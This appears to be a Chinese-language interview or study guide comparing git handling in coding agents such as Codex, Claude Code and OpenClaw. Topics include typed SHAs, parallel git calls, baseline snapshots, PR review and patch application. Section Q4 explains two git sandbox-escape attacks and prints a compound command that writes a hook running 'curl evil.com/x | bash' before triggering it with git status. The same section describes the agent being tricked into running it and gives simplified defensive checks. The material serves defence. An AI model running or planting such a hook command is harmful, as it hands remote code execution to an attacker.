强类型 GitSha 在 Rust 里是 String 的 newtype wrapper，加了一层校验：构造时强制是 40 字符 hex 或 7 字符 short SHA。表面看多余，实际避免三类 bug。

1. 防止 SHA 和文件路径混淆

函数签名里的 fn checkout(sha: GitSha, path: PathBuf) 对比 fn checkout(sha: String, path: String)：前者编译器会拒绝你把路径当 SHA 传，后者一字符串看一致没差。Agent 系统里经常出现 String 满天飞，类型 confusing。Newtype 是 Rust 治这毛病的标准药。

2. 集中处理 SHA 的合法格式

GitSha::new("abc") 应该 fail（太短了）、GitSha::new("xyz123...") 应该 fail（不是 hex）。一处校验，处处放心。如果用 String，每个函数都得自己写校验，要么漏要么重。

3. 序列化、TS 类型导出统一

Codex 用 JsonSchema 加 TS derive macro 把 Rust 类型导出成 TypeScript 类型。GitSha 一处定义，前端拿到的就是 type GitSha = string & { __brand: 'GitSha' }（branded type）。前端的 fetch 调用、UI 状态管理都享受类型安全。

工程判断：如果一个字符串有明确的合法格式和生命周期，就值得考虑 newtype。SHA、UUID、文件路径和 URL 都可以从边界校验开始；收益应通过编译错误、测试和维护成本来验证，不能预先折算成少多少 bug。

类似设计：

• TypeScript 的 branded types：type UserId = string & { __brand: 'UserId' }
• Haskell 的 newtype
• Java 的 value class
• Python 的 NewType（虽然弱一点，只在类型检查时生效）

Codex 不止 GitSha，还有 RolloutId、SessionId、ConversationId 全是 newtype。

源码：codex/codex-rs/protocol/src/protocol.rs 搜 GitSha。

追问：「Python 项目要不要也这么做？」答：Python 没有零成本 newtype，硬上 NewType 在运行时还是 str，只有 mypy、pyright 看得到。但即使是软类型也比纯 string 强。Hermes 没做是因为 Hermes 整体没用严格类型检查。

Q3 · 概念：Codex 的 collect_git_info 用 tokio::join! 并行收集，为什么不串行？

串行与并行的差异取决于三条命令的实际耗时；独立调用的理论上限是等待最长的一条，而不是固定的倍数。

collect_git_info 要拿三个东西：

1. 当前 commit hash：git rev-parse HEAD
2. 当前 branch：git rev-parse --abbrev-ref HEAD
3. remote URL：git config --get remote.origin.url

本文没有记录这三条命令在某个仓库里的耗时，所以不写 100-500ms 或 500ms 对比 1500ms。Codex 用 tokio::join! 把三条并发跑；复现时应同时记录串行、并行、冷缓存和热缓存结果。

let (commit_result, branch_result, url_result) = tokio::join!(
    run_git_command_with_timeout(&["rev-parse", "HEAD"], cwd),
    run_git_command_with_timeout(&["rev-parse", "--abbrev-ref", "HEAD"], cwd),
    run_git_command_with_timeout(&["config", "--get", "remote.origin.url"], cwd),
);

为什么不更进一步把所有 git 操作都并行？因为有些操作有 数据依赖：

• 先拿 commit hash，再拿这个 commit 的 message 需要串行。
• 先拿 branch，再拿 branch 的 upstream 需要串行。

只有「彼此无依赖」的操作才能并行。collect_git_info 三件套刚好都不依赖，所以可以一波带走。

工程判断：启动路径上可以寻找没有数据依赖的批次，但是否并行要看资源竞争、错误处理和可观测性。Codex 的其他并行点需要逐一回到对应源码核验：

• app-server 启动时并行 load config、sandbox spec、git info。
• TUI 启动时并行 init terminal、load history、connect IPC。
• Rollout 加载时并行 read manifest、read events、verify checksum。

源码：codex/codex-rs/git-utils/src/info.rs:113-150（tokio::join! 三件并行）。

追问：「Node、Python 项目能这样做吗？」答：能。Node 用 Promise.all([cmd1, cmd2, cmd3])，Python 用 asyncio.gather(cmd1, cmd2, cmd3)。但 Python 的 subprocess 默认是阻塞的，要用 asyncio.create_subprocess_exec。Hermes 没做是因为它的 banner 不在启动关键路径上（异步显示，慢一点也不影响）。

Q4 · 安全：Claude Code 的 gitSafety.ts 防御的两种 git 沙箱逃逸攻击具体是什么？

git 是一个被设计上极度灵活的工具，灵活到可以「在用户没意识到的情况下」运行任意代码。两种攻击：

攻击 A · Bare-repo 攻击

git 把 bare repository 识别为 cwd 里有 HEAD、objects/、refs/、hooks/ 这几个文件、目录，并且没有 .git/。攻击者构造一个目录长这样：

malicious-dir/
├── HEAD                  ← 内容随便
├── objects/              ← 空目录
├── refs/                 ← 空目录
└── hooks/
    └── post-checkout     ← 实际的恶意代码（chmod +x）

agent 进入 malicious-dir 后执行会读取或切换仓库状态的 Git 子命令，可能触发目录中的 hook；是否触发取决于子命令与配置。这里的 git status 是测试向量中的待验证命令，不是通用保证。

攻击 B · Git-internal write 加 git 复合命令

模型被骗到跑一条复合命令：

mkdir HEAD objects refs hooks && \
  echo 'curl evil.com/x | bash' > hooks/post-checkout && \
  chmod +x hooks/post-checkout && \
  git status

第一阶段把当前目录变成 bare repo 结构，第二阶段执行 git 命令触发 hook。整条命令在 BashTool 看来只是几个 mkdir 加 echo 加 chmod 加 git status，每一条单独看都不危险。但合起来构成沙箱逃逸。

Claude Code 的防御逻辑（PowerShell 版，因为 Windows 上 PowerShell 没有 set -e 之类的纪律）：

// 简化版
if (cwd_contains_all_of(['HEAD', 'objects', 'refs']) &&
    !cwd_contains('.git')) {
  throw new Error('Potential bare-repo attack: refuse to run git in suspicious cwd');
}

if (command_creates_files_then_runs_git(parsed)) {
  throw new Error('Potential compound attack: deny');
}

工程哲学：任何把 string 变成 syscall 的工具都是潜在的 RCE 入口。git 是、curl 是、tar 是、find -exec 是、bash 自己更是。Defense in depth 要求每一层都假设上一层会漏。

源码：claude-code/src/tools/PowerShellTool/gitSafety.ts:1-130（攻击模式定义加 validateGitArgs 实现）。

追问：「除了 PowerShell，bash 也有这毛病吗？」复合命令的风险同样存在，但检测器和解析器并不相同。Claude Code 的快照分别在 BashTool 与 gitSafety.ts 中处理，不能把 PowerShell 的检查数量或行为直接外推到 bash。

Q5 · 工程：什么是 baseline snapshot，为什么 Codex 要专门做这套机制？

baseline snapshot 是 Codex 在 sandbox 内单独维护的一个「干净 git 仓库副本」，让 agent 跑完一轮可以一键回到该副本对应的状态。

具体机制：

1. ensure_git_baseline_repository(cwd)：sandbox 启动时，把当前 working directory 复制到 <sandbox-tmp>/baseline/，并在那里跑 git init 加 git add . 加 git commit -m "baseline"。这个 baseline 是干净的初始状态。

2. agent 运行：模型在 cwd 里随便折腾，改文件、跑命令、提 commit。

3. diff_since_latest_init(cwd)：随时可以问「自从 baseline 到现在改了什么」。这个 diff 比 git diff HEAD 更可靠，因为 baseline 不在用户的工作流里，不会被用户自己 commit 弄乱。

4. reset_git_repository(cwd)：一键把 cwd 恢复到 baseline 状态。Codex 在用户说「撤销 agent 改的所有东西」时调这个。

为什么不直接用 git stash 或 git reset --hard？因为：

1. 用户的工作流不能被打扰。用户可能正在另一个分支做事，agent 不能用 git stash 把用户未提交的东西藏掉。Baseline 在 sandbox 内单独维护，不动用户的 .git/。
2. 跨 commit 的 reset。如果 agent 中途自己 commit 了几次，git reset --hard 只能到上一个 commit。Baseline 是个独立的 timeline，能跨任意多次 commit 回退。
3. 可同时存在多个 agent run。Sandbox A 和 sandbox B 各自有自己的 baseline，互不影响。

工程类比：

• Git stash：单层临时存放，用户友好。
• Git worktree：多分支并行，但还是一个 .git。
• Codex baseline：完全独立的 .git，与用户的工作流隔离。

代价：baseline 会复制工作区并占用额外磁盘空间，实际大小取决于复制策略、忽略规则和仓库内容。Codex 通过 sandbox 临时目录管理，agent 结束就清理。

源码：codex/codex-rs/git-utils/src/baseline.rs 全部加 lib.rs:60 的 pub use baseline::*。

追问：「我自己实现一个简化版需要多少代码？」核心步骤是复制或快照工作区、初始化基线、比较 diff、执行恢复。代码量取决于跨平台复制、权限、忽略规则和中断恢复，不能用固定行数承诺。

Q6 · 实战：你的 coding agent 要加 PR review 能力，从零开始怎么实现？

按 入口 → 结构化 → 发布 → 自动化 → 深度 → 项目规则 六个 scope 推进；每个 scope 都用固定 diff 和失败路径验收。

阶段 1 · slash command 加内嵌 prompt

参考 Claude Code /review 的 prompt-as-command 模式。用户输入 /review 123，agent 跑：

const reviewPrompt = `
You are an expert code reviewer. Follow these steps:
1. Run \`gh pr view 123\` to get PR details
2. Run \`gh pr diff 123\` to get the diff
3. Analyze and produce review with: overview, code quality, suggestions, risks
`;

这一步无需写 PR API 集成代码，全靠 gh CLI 提供工具，模型自己组合调用。

验收门槛：固定 PR fixture 能稳定收集元数据和 diff，权限或命令失败时给出可行动错误。

阶段 2 · 加结构化输出

让模型用 JSON 输出 review 结果而不是 markdown：

type Review = {
  overview: string;
  quality_issues: { file: string; line: number; severity: 'low'|'med'|'high'; comment: string }[];
  suggestions: { file: string; line: number; suggestion: string }[];
  risks: string[];
};

这样可以编程消费 review 结果，比如自动 post 到 PR comments。

验收门槛：schema 覆盖缺字段、未知 severity 和空 findings；解析失败不会被当成通过。

阶段 3 · post 到 GitHub

拿到 JSON 后用 gh pr comment 把每条 quality_issue 发成 inline comment：

gh pr review 123 --comment --body "..."
gh api repos/foo/bar/pulls/123/comments -f body=...

或者用 gh pr review --request-changes 或 --approve 给一个总评。

验收门槛：固定 findings 能映射到正确的 PR、文件和行；重复提交不会产生重复评论，权限失败会留痕。

阶段 4 · 加 CI 集成

把 /review 包装成 GitHub Action：每次 PR open 自动跑一次 review。这一步从交互式 agent 升级成 background agent（参见 18 章 cron、background tasks）。

验收门槛：重复 webhook 可幂等处理，CI 取消和重试不会丢 findings，凭据不出现在日志。

阶段 5 · 区分 review 类型

加 /ultrareview：跑一个更深的 review，多步骤（先看架构 走再看安全 走再看性能 走最后 fitness）。Claude Code 的 ultrareview 走的是远程 pipeline，每一步用不同 prompt。这一步开始体现「review as multi-agent pipeline」。

验收门槛：各阶段的输入、输出和失败回传可追踪；并行或远程调用的成本与收益用同一 diff 集对比。

阶段 6 · 集成项目特定规则

PR review 大头是项目特定的规则：「这个 module 不能依赖那个 module」「这个函数需要加单测」。把项目规则放 ~/.claude/AGENTS.md 里，agent review 时自动加载。Codex 用 AGENTS.md，Claude Code 也用 AGENTS.md，OpenClaw 用 claudeOcConfig，机制类似。

验收门槛：规则版本进入 review trace；冲突规则有确定优先级，且误报可由固定样本回归。

关键工程纪律：

1. 不要从一开始造 GitHub API SDK。gh CLI 已经做完一切，模型直接调就行。
2. review 输出结构化。Markdown only review 难以二次加工。
3. review 的 prompt 跟 commit 一起 git 化。Prompt 不在源码里跑而是在 .claude/commands/ 之类的目录里，diff-able、reviewable。
4. 区分 incremental 对比 full review：incremental 看 diff，full review 看整个 PR 影响的 module。

源码参考：claude-code/src/commands/review.ts（基础 review）加 src/commands/pr_comments/（PR comment 工作流）加 src/commands/ultrareview.ts（高级 review）。

追问：「review 出错了怎么 rollback？」答：review 只是 comment，不动代码，没什么好 rollback 的。但如果走 /fix-pr-comments 这种「按 review 自动改」的 pipeline，那需要 baseline snapshot 兜底（参见 Q5）。

Q7 · 架构：为什么 OpenClaw 选择不抽象 git，而是让模型 git status 自己看？

OpenClaw 是「control plane、tool policy 平台」，定位决定了它不应该 own git 抽象。具体三个原因：

1. git 不是 OpenClaw 的核心抽象

OpenClaw 的核心抽象是 tool catalog 加 tool policy pipeline（参见 04 章）。所有工具（包括 fs、shell、git）都是 policy 的客体，平台层不该对某个工具特殊照顾。如果给 git 单独建抽象，那是不是 docker 也该建？kubectl 也该建？npm 也该建？平台层会被无限胀大。

2. 模型用 shell 跑 git 已经足够

模型从 GPT 那一代就熟练用 git 命令了。tool_use(bash, git status) 这个 API 完全够。OpenClaw 只需要保证 shell 是安全的（参见 07 章），git 命令的语义模型自己懂。

3. OpenClaw 用户场景多样

OpenClaw 装上去可能是 coding agent，也可能是 customer support agent、scraping agent、data analysis agent。这些例子说明平台不能预设每个工作负载都需要 git 抽象；默认把完整 git 层装进控制面，会让非 coding 工作负载承担用不到的接口和维护面。

OpenClaw 给出的折中是：git-root.ts 只提供「在哪个仓库」这种平台元信息，让 sandbox 边界、日志归类有 anchor 用。至于「用 git 做什么」完全交给具体 skill。

工程哲学：控制面对比 skill 边界。控制面提供：

• 路径锚点（git-root）
• 版本戳（git short SHA）
• 沙箱边界
• 工具调用 pipeline

控制面不提供：

• patch 应用
• baseline snapshot
• PR review
• merge、rebase 智能逻辑

后者属于 skill 层。如果 OpenClaw 用户做 coding agent，他们自己写 @coding-skill 把上述功能加上。OpenClaw 内核保持薄。

类比：

• VSCode 不内置 git 智能（VSCode 自带 git panel 但智能合并、冲突解决是 GitLens、Git Graph 等扩展提供的）。
• IntelliJ 内置 git 智能（IntelliJ 把 git 当一等公民），但 IntelliJ 是单一用途 IDE，不是控制面。
• VSCode 等于 OpenClaw，IntelliJ 等于 Claude Code（或 Codex）。

源码：openclaw/src/infra/git-root.ts:1-73（73 行就完了）。

追问：「那如果我想用 OpenClaw 做 coding agent 怎么办？」答：fork 一个 @coding-skill，把 git-utils 风格的抽象加进去。OpenClaw 的 tool-catalog 加 tool-policy-pipeline 完全支持你这么做：加新工具不需要改 OpenClaw 内核。

Q8 · 工程：Codex 的 apply_git_patch 跟直接 git apply 有什么区别？

git apply 是 git binary 提供的命令，接受 patch 文件，应用到 working directory。Codex apply_git_patch 是 Codex 在 Rust 里封的一个高层 API，本质上调用了 git apply 但加了一堆 agent 友好的额外工程：

1. 输入是字符串而非文件

git apply 要求 patch 在文件里：git apply mypatch.diff。apply_git_patch(patch: &str) 直接接受字符串，无需先落盘。Agent 场景里 patch 是模型即时生成的，落盘只是浪费。

2. 解析输出成结构化 ApplyGitResult

git apply 的 stdout、stderr 是为人类设计的：「patch failed: foo.rs:32」、「already exists in working directory」。模型读这些字符串很费 token，而且容易误读。Codex 用 parse_git_apply_output 把输出解析成：

pub struct ApplyGitResult {
  applied_paths: Vec<PathBuf>,
  failed_hunks: Vec<HunkFailure>,
  conflicts: Vec<PathBuf>,
  // ...
}

模型拿到结构化结果，直接知道哪些文件应用了、哪些冲突、哪些行失败。这是给 agent 用对比给人用的区别。

3. 自动 git add 应用成功的文件

apply_git_patch 应用完成后自动 git add 受影响的文件（这一步叫 stage_paths）。原因：agent 大概率下一步要 git commit，省一次 tool call。

4. extract_paths_from_patch · 预判

应用 patch 前可以先 extract_paths_from_patch(patch)，拿到所有会被改的文件列表。Codex 用这个做权限预校验：检查这些路径是否在 sandbox writable 区。预校验 fail 就早早拒绝，不浪费 git apply 的开销。

5. patch 格式兼容

Codex 接受多种 patch 格式：unified diff、git diff with binary、V4A 都支持。统一在 apply 层做格式识别，模型不用选格式。

工程哲学：给 agent 用的 API 不等于给 human 用的 API。给 human 的 API 接受字符串、返回人类可读 message。给 agent 的 API 接受结构化输入、返回结构化输出。同一个底层操作（git apply）值得写两套封装。

类似模式：

• Codex 的 recent_commits 把 git log 的 stdout 解析成 Vec<CommitLogEntry>。
• Codex 的 current_branch_name 把 git rev-parse --abbrev-ref HEAD 的 stdout trim 一下返回 String。
• Codex 的 git_diff_to_remote 比 git diff origin/main 多了 base 解析、统计、token 估算。

每个都是 git binary 输出的「agent 友好版」。这一层抽象的总和构成了 git-utils crate 的价值。

源码：codex/codex-rs/git-utils/src/apply.rs 全部加 lib.rs:60-65 的 pub use。

追问：「Hermes 没有这层抽象怎么办？」答：Hermes 让模型自己跑 git apply 命令然后解析 stdout。token 浪费一些，但工程成本零。研究平台用 Hermes 优化方向不在这。

Q9 · 实战：你接手一个 agent 项目，git 处理全部走 subprocess.run("git ...")。如何渐进式升级？

按 可见性 → 结构化 → 基线 → 防御 四个 scope 推进；每个 scope 先通过固定 fixture 的验收，再决定是否增加下一层。

第 1 阶段 · 把 git 调用集中化

现状：项目里到处 subprocess.run(["git", ...])。第一步把这些调用集中到一个 gitutil.py。

def run_git(*args, cwd=None, timeout=5):
    """Single source of truth for git invocations."""
    return subprocess.run(["git", *args], cwd=cwd, timeout=timeout, capture_output=True, text=True)

所有 subprocess.run("git ...") 替换成 run_git(...)。一处加 timeout、一处加日志、一处加错误处理。

验收门槛：静态扫描确认业务代码不再直接拼接 git 调用；固定 fixture 覆盖 timeout、stderr 和非零退出，且错误能回到调用方。

第 2 阶段 · 加结构化解析

前置：集中执行器已经统一 cwd、timeout 和错误处理。

最常用的几个 git 命令包装成函数：

@dataclass
class GitInfo:
    commit_hash: str | None
    branch: str | None
    repository_url: str | None

def collect_git_info(cwd: Path) -> GitInfo | None:
    # 并行三件套
    ...

def parse_git_status(cwd: Path) -> list[FileStatus]:
    ...

def recent_commits(cwd: Path, n: int = 10) -> list[CommitInfo]:
    ...

模型拿到结构化对象而不是 raw stdout。

验收门槛：用固定仓库 fixture 对 branch、status、log 的解析结果与 Git CLI 交叉核对，并确认异常输出不会静默变成空对象。

第 3 阶段 · baseline snapshot

前置：产品需要在一次 agent run 前后区分用户已有改动和 agent 新增改动。

实现简化版 baseline（参见 Q5）。Agent 启动时 dump 一份干净副本，结束时 cleanup。提供 reset_to_baseline() 和 diff_since_baseline()。

验收门槛：固定 fixture 依次执行 apply、diff、reset；reset 可重复，且不会覆盖 fixture 预先存在的未提交改动。

第 4 阶段 · 安全防御

前置：agent 能操作不受信任的仓库或工作目录，且威胁模型已经写成可执行的测试向量。

加 gitSafety 双重攻击防御：

def validate_git_args(args: list[str], cwd: Path) -> str | None:
    """Returns error message if dangerous pattern detected, None otherwise."""
    if has_bare_repo_structure_without_dotgit(cwd):
        return "Potential bare-repo attack"
    if creates_internal_then_runs_git(args):
        return "Potential compound attack"
    return None

每次 run_git 前先调这个 validator。命中就拒绝。

验收门槛：bare-repo 和 compound-attack fixture 必须被拒绝；正常仓库的常用命令仍通过，并把 verdict 写入审计日志。

第 5 阶段 · prompt as command（按需）

把高频 git 操作做成 slash command 加内嵌 prompt（参考 Claude Code）：

• /review <pr>：让 agent 跑 PR review。
• /commit：让 agent 自动写 commit message 并提交。
• /diff-since-baseline：让 agent 看 agent run 改了什么。

每个 slash command 都是一段精心写好的 prompt，模型读完知道按什么顺序调 git 工具。只有当命令序列稳定、用户会重复执行时才增加这一层；验收看固定任务的调用顺序和失败提示是否稳定。

关键工程纪律：

1. 不要一步到位。直接照搬 Codex 的 git-utils crate 是过度工程化。你的项目可能只需要 1、3 的功能。
2. 每阶段都 measurable：第 1 阶段看「集中度」（grep subprocess.*git 应该归零）。第 2 阶段看 token 节省（结构化对比 raw output）。第 3 阶段看回退成功率。
3. 保留逃生通道。即使有了 apply_git_patch，也保留让模型直接调 git 的能力：某些 corner case 你的抽象想不到。
4. 测试用 baseline。每次 git-utils 改动都跑一个 5 步 agent run 看回退是否正常。

源码参考：从最简到最复杂，OpenClaw git-root.ts:1-73 走 Hermes banner.py:213-238 走 Claude Code utils/git.ts:1-100 走 Codex git-utils/src/info.rs:1-200。一步步爬，不要跳。

追问：「公司的 monorepo 太大，git log 很慢怎么办？」先用有界 timeout 和可见的 fallback，再用 --max-count 限制输出；缓存是否有效，要看目标仓库的命中率和失效规则。Codex 的 5 秒与 Claude Code 的 LRU(50) 是参考实现参数，不是通用答案。

Q10 · 开放：设计一个「agent 友好的 git 抽象层」，可以集成进任何语言的 agent 项目。

按目标约束组合可借鉴模式：

核心 API（需要）

// Layer 1: 元信息
interface GitInfo {
  commit_hash: string;     // GitSha 风格强类型（newtype）
  branch: string;
  repository_url: string;
  worktree_count: number;
}
async function collectGitInfo(cwd: string): Promise<GitInfo | null>;

// Layer 2: 状态查询
interface FileStatus {
  path: string;
  status: 'modified' | 'added' | 'deleted' | 'untracked' | 'staged';
}
async function getStatus(cwd: string): Promise<FileStatus[]>;
async function getDiff(cwd: string, options?: DiffOptions): Promise<string>;
async function recentCommits(cwd: string, n: number): Promise<CommitInfo[]>;

// Layer 3: 修改操作
interface ApplyResult {
  applied_paths: string[];
  failed_hunks: HunkFailure[];
  conflicts: string[];
}
async function applyPatch(cwd: string, patch: string): Promise<ApplyResult>;
async function stagePaths(cwd: string, paths: string[]): Promise<void>;
async function commit(cwd: string, message: string): Promise<{ commit_hash: string }>;

// Layer 4: 工作流
async function gitDiffToRemote(cwd: string, remote: 'origin/main'): Promise<GitDiffToRemote>;
async function mergeBaseWithHead(cwd: string, branch: string): Promise<string>;

// Layer 5: Baseline snapshot
interface BaselineHandle {
  baseline_id: string;
  diff(): Promise<string>;
  reset(): Promise<void>;
  cleanup(): Promise<void>;
}
async function ensureBaseline(cwd: string): Promise<BaselineHandle>;

安全层（需要）

interface GitSafetyValidator {
  validateArgs(args: string[], cwd: string): SafetyResult;
  validateCwd(cwd: string): SafetyResult;
}

type SafetyResult =
  | { safe: true }
  | { safe: false; reason: 'bare-repo' | 'compound-attack' | 'untrusted-dir'; details: string };

性能层（推荐）

interface GitCache {
  cache_size: number;       // default 50
  ttl_ms: number;           // default 30s
}
function createCachedGitUtils(opts: GitCache): GitUtilsAPI;

LRU 缓存 findGitRoot / collectGitInfo（参考 Claude Code）。

Slash command 模板（可选）

const reviewCommand = createSlashCommand({
  name: '/review',
  args: '<pr_number>',
  prompt: (args) => `You are an expert code reviewer...`,
});

模板化的 prompt-as-command。

较全 API 示例

import { createGitUtils } from '@your-org/git-utils';

const git = createGitUtils({
  cwd: '/app',
  cache: { cache_size: 50, ttl_ms: 30_000 },
  safety: { strict: true },
});

const info = await git.collectGitInfo();  // 并行 3 件套
const status = await git.getStatus();      // 结构化
const result = await git.applyPatch(patch);  // 自动 stage
const baseline = await git.ensureBaseline();
// ... agent 跑一会
const changes = await baseline.diff();
await baseline.reset();  // 一键回退

对比四家：

• 比 Codex 多 cache 层（默认开）。
• 比 Claude Code 多 baseline snapshot。
• 比 OpenClaw 多 patch 加工作流抽象。
• 比 Hermes 多结构化加安全。

工程投入需要按目标语言、平台、仓库规模和恢复测试矩阵重新估算。这个组合比 OpenClaw 的 root 加版本戳多出 patch、baseline 与安全验证范围，不能从四个源码快照直接推导固定人月。

跨语言：核心 API 设计成 JSON in、out，每种语言（TS、Python、Rust、Go）各实现一份执行器，共享同一份 GitSafety validator 规则。

源码组合：Codex git-utils/src/lib.rs 全加 Claude Code utils/git.ts:1-100 加 OpenClaw git-root.ts:1-73 加 Hermes banner.py:213-238。每家拿一段拼起来就是你的 git-utils v0.1。

追问：「如何处理 git LFS、submodule、worktree？」答：v0.1 可以先保留 escape hatch，把 LFS 交给 shell；submodule 和 worktree 要在 .git 为文件时单独测试。实现增量取决于平台和测试矩阵，不能预先承诺固定行数。